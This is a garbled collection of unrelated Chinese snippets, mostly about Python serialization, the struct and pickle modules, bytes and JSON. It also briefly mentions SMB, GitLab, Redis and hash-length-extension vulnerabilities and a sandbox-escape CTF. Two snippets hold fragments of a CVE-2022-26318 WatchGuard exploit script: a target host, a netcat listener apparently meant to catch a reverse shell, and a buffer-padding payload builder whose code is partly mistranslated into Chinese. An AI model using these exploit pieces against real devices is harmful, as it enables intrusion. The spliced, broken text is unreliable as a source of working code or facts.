当 python 需要调用 C 程序,或是进行文件、网络操作时,需要对二进制结构化字节流进行处理,此时需要使用到 struct 这个模块提供的方法。
北京时间 3 月 12 日晚,微软发布安全公告披露了一个最新的SMB远程代码执行漏洞(CVE-2020-0796),该漏洞是由于SMBv3协议在处理恶意的压缩数据包时出错所造成的,它可让远程且未经身份验证的攻击者在目标系统上执行任意代码。
[work@db-testing-com06-vm3.db01.baidu.com python]$ python struct_pack.py
开始之前我们需要有Redis安装,我们采用本机Docker运行Redis, 主要命令如下
由于 GitLab 某些端点路径无需授权,攻击者可在无需认证的情况下完成图片上传,从而执行任意命令。
学习python的话,是不是有时候需要在本地存储一些数据,今天为大家来介绍一种新的实现方式:那就是使用python自带的pickle库。
概念: 序列化(Serialization): 将对象的状态信息转换为可以存储或可以通过网络传输的过程,传输的格式可以是JSON,XML等。反序列化就是从存储区域(JSON,XML)读取反序列化对象的状态,重新创建该对象。 JSON(Java Script Object Notation):一种轻量级数据交互格式,相对于XML而言更简单,也易于阅读和编写,机器也方便解析和生成,Json是JavaScript中的一个子集。 python2.6版本开始加入了JSON模块,python的json模块序列化与反序列
一、序列化/反序列化 python中内置了很多序列化/反序列化的方式,最常用的有json、pickle、marshal这三种,示例用法如下: import json import pickle import marshal author1 = {"name": "菩提树下的杨过", "blog": "http://yjmyzz.cnblogs.com/", "title": "架构师", "pets": ["dog", "cat"]} # json序列化 json_str = json.dumps(au
python中一般并不需要查看内存内容,但作为从C/C++过来的人,有的时候还是想看看内存,有时是为了验证内容是否与预期一致,有时是为了探究下内存布局。
出错环境: windows 10 python 3.6.8 django 1.11.26 celery 4.3.0 错误日志: 同样的代码在 Mac 和 centos 环境下无此错误 [2019-12-16 11:26:23,480: CRITICAL/MainProcess] Can't decode message body: ContentDisallowed('Refusing to deserialize untrusted content of type pickle (applicat
TFTP(Trivial File Transfer Protocol,简单文件传输协议)
1、MD5加密过程中512比特(64字节)为一组,属于分组加密,而且在运算的过程中,将512比特分为32bit*16块,分块运算。(先把需要加密的进行ASCII16进制编码)
注:在选择安装组件时勾选所有组件,特别注意勾选pip和Add python.exe to Path
文件的存储内容有两种方式,一种是二进制,一种是文本的形式。如果是以文本的形式存储在文件中,那么从文件中读取的时候就会遇到一个将文本转换为Python中数据类型的问题。实际上即使是文本的形式存储,存储的数据也是也是有结构的,因为Python底层是用C来编写的,这里我们也称之为C结构。
说到Python的运行机制,就不得不从.pyc文件和字节码说起 PyCodeObject对象的创建时机是模块加载的时候,即import。
JSON是一种轻量级的数据交换格式,JSON相对于XML而言,更加简单,易读和编写,同时也易于机器解析和生成,除此,我们也可以自定义内部使用的数据交换格式。
如果你确实想这么干,那请你确保在初始请求中设置了stream=True。具体的你可以这么做:
python int返回的方法探究 📷 1、int额外的方法: int.bit_length() 返回二进制表示整数所需的位数,不包括符号位和前面的零: >>> n = -37 >>> bin(n) '-0b100101' >>> n.bit_length() 6 2、返回表示整数的字节组。 (1024).to_bytes(2, byteorder='big') b'\x04\x00' (1024).to_bytes(10, byteorder='big') b'\x00\x00\x00\x00\x00\
什么是布隆过滤器? 它实际上是一个很长的二进制向量和一系列随机映射函数。把一个目标元素通过多个hash函数的计算,将多个随机计算出的结果映射到二进制向量的位中,依次来间接标记一个元素是否存在于一个集合中。 布隆过滤器可以做什么? 布隆过滤器可以用于检索一个元素是否在一个集合中。它的优点是空间效率和查询时间都比一般的算法要好的多,缺点是有一定的误识别率和删除困难。 布隆过滤器特点 如果布隆过滤器显示一个元素不存在于集合中,那么这个元素100%不存在与集合当中 如果布隆过滤器显示一个元素存在于集合中,那么很有可能存在,可能性取决于对布隆过滤器的定义(BF.RESERVE {key} {error_rate} {capacity})
#!/usr/bin/python3 # -*- coding: utf-8 -*- # CVE-2022-26318 import socket import ssl import gzip # Remote WatchGuard XTM or FireWare OS R_HOST = "1.1.1.1" # Local host with nc listener: nc -l 8.8.8.8 8888 L_HOST = "8.8.8.8" def buildPayload(L_HOST)
TaskPool: Apply <function _fast_trace_task at0x7faa22f8aea0> (args:('assets.tasks.test_system_user_connectability_period', 'ce3795ce-96e2-475f-944f-4cb9cc462cbd', {'lang': 'py', 'task': 'assets.tasks.test_system_user_connectability_period', 'id': 'ce3795ce-96e2-475f-944f-4cb9cc462cbd', 'eta': None, 'expires': None, 'group': None, 'retries': 0, 'timelimit': [None, None], 'root_id': 'ce3795ce-96e2-475f-944f-4cb9cc462cbd', 'parent_id': None, 'argsrepr': '()', 'kwargsrepr': '{}', 'origin': 'gen22572@h165', 'reply_to': '07fc10f1-4f00-3fe0-b8d1-c98b94e70bb3', 'correlation_id': 'ce3795ce-96e2-475f-944f-4cb9cc462cbd', 'delivery_info': {'exchange': '', 'routing_key': 'celery', 'priority': 0, 'redelivered': None}}, b'\x80\x02)}q\x00}q\x01(X\t\x00\x00\x00callbacksq\x02NX\x08\x00\x00\x00errbacksq\x03NX\x05\x00\x00\x00chainq\x04NX\x05\x00\x00\x00chordq\x05Nu\x87q\x06.', 'application/x-python-serialize', 'binary') kwargs:{}) Task accepted: assets.tasks.test_admin_user_connectability_period[28cbd1e8-7543-404e-b177-09d94155e31f] pid:22609 Received task: terminal.tasks.delete_terminal_status_period[10a7c66d-0877-4fda-bd24-2a9ac3a96e34] TaskPool: Apply <function _fast_trace_task at0x7faa22f8aea0> (args:('terminal.tasks.delete_terminal_status_period', '10a7c66d-0877-4fda-bd24-2a9ac3a96e34', {'lang': 'py', 'task': 'terminal.tasks.delete_terminal_status_period', 'id': '10a7c66d-0877-4fda-bd24-2a9ac3a96e34', 'eta': None, 'expires': None, 'group': None, 'retries': 0, 'timelimit': [None, None], 'root_id': '10a7c66d-0877-4fda-bd24-2a9ac3a96e34', 'parent_id': None, 'argsrepr': '()', 'kwargsrepr': '{}', 'origin': 'gen22572@h165', 'reply_to': '07fc10f1-4f00-3fe0-b8d1-c98b94e70bb3', 'correlation_id': '10a7c66d-0877-4fda-bd24-2a9ac3a96e34', 'delivery_info': {'exchange': '', 'routing_key': 'celery', 'priority': 0, 'redelivered': None}}, b'\x80\x02)}q\x00}q\x01(X\t\x00\x00\x00callbacksq\x02NX\x08\x00\x00\x00errbacksq\x03NX\x05\x00\x00\x00chainq\x04NX\x05\x00\x00\x00chordq\x05Nu\x87q\x06.', 'application/x-python-serialize', 'binary') kwargs:{}
文本不会讲具体某个网站的弹幕抓取方法。而是描述抓取到二进制的弹幕信息以后,如何进行处理。
哈希长度扩展攻击(hash length extension attacks)是指针对某些允许包含额外信息的加密散列函数的攻击手段。该攻击适用于在消息与密钥的长度已知的情形下,所有采取了 H(密钥 ∥ 消息) 此类构造的散列函数。MD5和SHA-1等基于Merkle–Damgård构造的算法均对此类攻击显示出脆弱性。
在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式[1],比起以前的利用方式来说,这种利用方式更为通用,危害也更大,下面就让我们从以前的redis RCE利用方式出发,一起聊聊关于redis的利用问题。
准备给ibd2sql加个解析 mysql 5.7 的ibd文件功能. mysql 8.0的元数据信息是存储在ibd文件的sdi page里面的. 但是mysql 5.7 的表结构信息是存储在 frm 文件的, 所以就得解析下这个frm文件了. 本以为它是文本文件, 很遗憾, 还是二进制的....
def buildPayload(L_HOST): payload = "agent.login<".encode() payload += ("A"*3181).encode() payload += "MFA>".encode() payload += (""* 3680).编码()
一.json模块 序列化:把一个对象的形态改变一下,使他能够存放在文件中,或者在网络上传输,序列化也叫持久化,是把对象存储到永久介质中,这样就不会因为掉电而丢失。 JSON (JavaScript Object Notation) 是一种轻量级的数据交换格式,json用于字符串和python的数据类型进行转换,json模块提供了四个功能:dumps、dump、loads、load json.dumps和json.loads实例: 1 #!/usr/bin/python3 2 import json 3 da
在日常开发中,所有的对象都是存储在内存当中,尤其是像python这样的坚持一切接对象的高级程序设计语言,一旦关机,在写在内存中的数据都将不复存在。另一方面,存储在内存够中的对象由于编程语言、网络环境等等因素,很难在网络中进行传输交互。由此,就诞生了一种机制,可以实现内存中的对象与方便持久化在磁盘中或在网络中进行交互的数据格式(str、bites)之间的相互转换。这种机制就叫序列化与发序列化:
上一期我们介绍了本体 Python 智能合约的合约执行 API,本期我们将讨论如何通过 Native API 来进行本体原生合约调用。原生合约调用最典型的功能就是合约转账,这也是整个智能合约最核心的部分。Native API 只有1个 API。用法如下:
中文编码问题总是让人头疼(尤其是mac本),想要用Python读取word中的内容。用open()经常报错,通过百度搜索+问身边小伙伴发现了Python有专门读取.docx的模块python_docx。本篇文章主要来解决一个读取docx文件的基本操作。希望感兴趣的小伙伴可以坚持看下去同时欢迎提出宝贵的意见让我们一起进步!
使用Python标准库struct序列化Python整数、实数、字节串时,需要使用struct模块的pack()函数把对象按指定的格式进行序列化,然后使用文件对象的write()方法将序列化的结果字节串写入以'wb'或'ab'模式打开的二进制文件。读取时需要使用文件对象的read()方法从以'rb'模式打开的二进制文件中读取指定数量的字节串,然后再使用struct模块的unpack()函数反序列化得到原来对象息。如果需要的话,可以使用calcsize()函数计算指定类型序列化时所需要的字节数量。标准库struct中常用的函数及功能下表所示。
喜迎X大(涉及到这个数字后台就一直提醒可能违规,干脆)。然后,就是,我胡汉三又回来啦啦啦啦啦!!!身体养得差不多了,其实也没有什么大问题,谢谢大家关心~兄弟姐妹们,造起来啊~high起来啊~反正有大把时光~ 谁再熬夜谁傻逼,以此为誓,违誓者发红包。 阅读此文大概需要8分钟,也可能80分钟 最近在公司和我们后端的兄弟聊了聊,他是FOFA 3.0的后端主要开发人员之一。把FOFA的协议识别与提取用Golang实现。 虽然没有他那么牛逼的编码技术,不过也对其架构稍稍了解。小小的学习了协议提取的知识。 下面介绍
python中的struct主要是用来处理C结构数据的,读入时先转换为Python的字符串类型,然后再转换为Python的结构化类型,比如元组(tuple)啥的~。一般输入的渠道来源于文件或者网络的二进制流。
Python3相对于Python2的一大改变就是,对默认字符类型进行了修改。Python2中定义字符串默认为二进制字符串,强制加前缀u的才是unicode字符串;而Python3中字符串默认为unicode,强制加前缀b的才是二进制字符串。(也就是刚好反过来了)
返回一个像素访问对象。像素访问对象的行为很像一个二维数组,可以通过下标 [x, y] 的方法,访问和修改像素值。通常情况下,我们不需要调用此方法,Image 类会在第一次访问图片数据时,自动调用此方法。
MYSQL的主从应该是使用得最多的架构, 使用也很简单, 就change master to xxx 然后start 就可以了, 但是你知道原理吗? 写在前面 如果你阅读了我之前写的那个 MYSQL
本文内容是基于 Centos 7、HDP 3.0.0、HBase 2.0.0、Python 2.7 环境下,其他环境的童鞋选择性进行参考。
在导线上看起来像这样,但是填充被忽略,可以是任何东西。身份验证例程最多读取256个“长度”。#
python除了 bytes字节序列 之外,还有bytearray可变的字节序列,具体区别在哪呢?顾名思义,前者是不可变的,而后者是可变的!具体本文会有详细的讲解!
所有python支持的原生类型:布尔值,整数,浮点数,复数,字符串,字节,None。
树莓派Pico的mpy例子,写几个作为参考使用: import machine import utime sensor_temp = machine.ADC(4) conversion_factor = 3.3 / (65535) while True: reading = sensor_temp.read_u16() * conversion_factor temperature = 27 - (reading - 0.706)/0.001721 print(temp
GmSSL是一个开源的加密包的python实现,支持SM2/SM3/SM4等国密(国家商用密码)算法、项目采用对商业应用友好的类BSD开源许可证,开源且可以用于闭源的商业应用。
在python中,序列化可以理解为:把python的对象编码转换为json格式的字符串,反序列化可以理解为:把json格式字符串解码为python数据对象。在python的标准库中,专门提供了json库与pickle库来处理这部分。
Python语言学习:Python常用自带库(imageio、pickle)简介、使用方法之详细攻略
三.二进制 blist = [1, 2, 3, 255] the_bytes = bytes(blist) #无法改变 the_byte_array = bytearray(blist) #可以当列表添加 import struct valid_png_header = b'\x89PNG\r\n\x1a\n' data = b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR' + \ b'\x00\x00\x00\x9a\x00\x00\x00\x8d\x08\x02\x0
今天@AD1024大佬在群里分享了个有趣的CTF题(nc problem1.tjctf.org 8006),是关于Python沙箱逃逸的。dalao原意是为了吐槽flag在的文件就是flag.txt,不过咱研究了下这沙箱逃逸,似乎有点不一般。eval、exer、open这类的函数肯定是屏蔽了,关键是它不仅屏蔽了import,双下划线都不给用。而且最骚的是,这还直接是REPL环境!ROT13的套路也没救了。
当我们需要1000万个浮点数的时候,数组(array)的效率要比列表(list)要高得多,因为数组在背后存的并不是float对象,而是数字的机器翻译,也就是字节表述。这一点和c语言中的数组一样。
序列化就是将Python对象(这里以python语言为例进行说明)及其所拥有的的层次结构转化为一个字节流的过程;而反序列化则是和序列化相反的操作,反序列化会将字节流转化为Python对象。
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